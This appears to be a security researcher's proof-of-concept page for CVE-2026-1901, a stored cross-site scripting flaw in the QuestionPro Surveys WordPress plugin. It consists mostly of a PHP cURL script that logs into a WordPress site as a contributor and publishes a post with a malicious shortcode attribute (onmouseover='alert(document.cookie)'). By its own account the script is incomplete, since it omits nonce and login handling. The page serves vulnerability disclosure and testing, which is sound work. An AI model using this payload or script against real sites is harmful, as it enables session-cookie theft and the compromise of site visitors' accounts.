CVE-2026-1901: QuestionPro Surveys <= 1.0 – Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes (questionpro-surveys)

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-1901 - QuestionPro Surveys <= 1.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes
<?php

$target_url = 'http://vulnerable-wordpress-site.local/wp-admin/post-new.php';
$username = 'contributor_user';
$password = 'contributor_pass';

// Payload: Shortcode with malicious 'id' attribute containing JavaScript.
// The plugin likely outputs this attribute value without escaping.
$malicious_shortcode = '[questionpro id="1" onmouseover="alert(document.cookie)"]';
$post_title = 'Test Post with XSS';
$post_content = "This post contains a malicious shortcode. {$malicious_shortcode}";

// Initialize cURL session for login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// First request to get the login page and nonce (WordPress security token)
$response = curl_exec($ch);
if (preg_match('/name="log"[^>]*>/', $response) && preg_match('/name="wp-submit"[^>]*>/', $response)) {
    // We are on the login page. For a real PoC, you would need to parse the nonce from a redirect.
    // This script assumes the target is already logged in via the cookie jar.
    // A full implementation would require parsing and submitting the login form.
    echo "Login page detected. A full exploit requires handling WordPress authentication flow.n";
    echo "This PoC assumes valid cookies are already in 'cookie.txt'.n";
}

// Now attempt to create a new post with the malicious shortcode.
// WordPress uses admin-post.php or the REST API for posting, but the classic editor uses post.php.
$post_url = 'http://vulnerable-wordpress-site.local/wp-admin/post.php';
$post_data = array(
    'post_title' => $post_title,
    'content' => $post_content,
    'publish' => 'Publish',
    'post_type' => 'post',
    'action' => 'editpost'
    // A real exploit would also need the correct nonce (_wpnonce) and post ID for editing.
    // This script demonstrates the attack vector but cannot execute without full auth context.
);

curl_setopt($ch, CURLOPT_URL, $post_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
$response = curl_exec($ch);

if (strpos($response, 'Post published.') !== false || strpos($response, 'Post updated.') !== false) {
    echo "Potential success: Post containing malicious shortcode may have been created.n";
    echo "Payload: {$malicious_shortcode}n";
    echo "Visit the published post to trigger the XSS.n";
} else {
    echo "Post creation likely failed. This is expected without full authentication and nonce handling.n";
    echo "The exploit requires a valid Contributor session and correct WordPress nonce.n";
}

curl_close($ch);
?>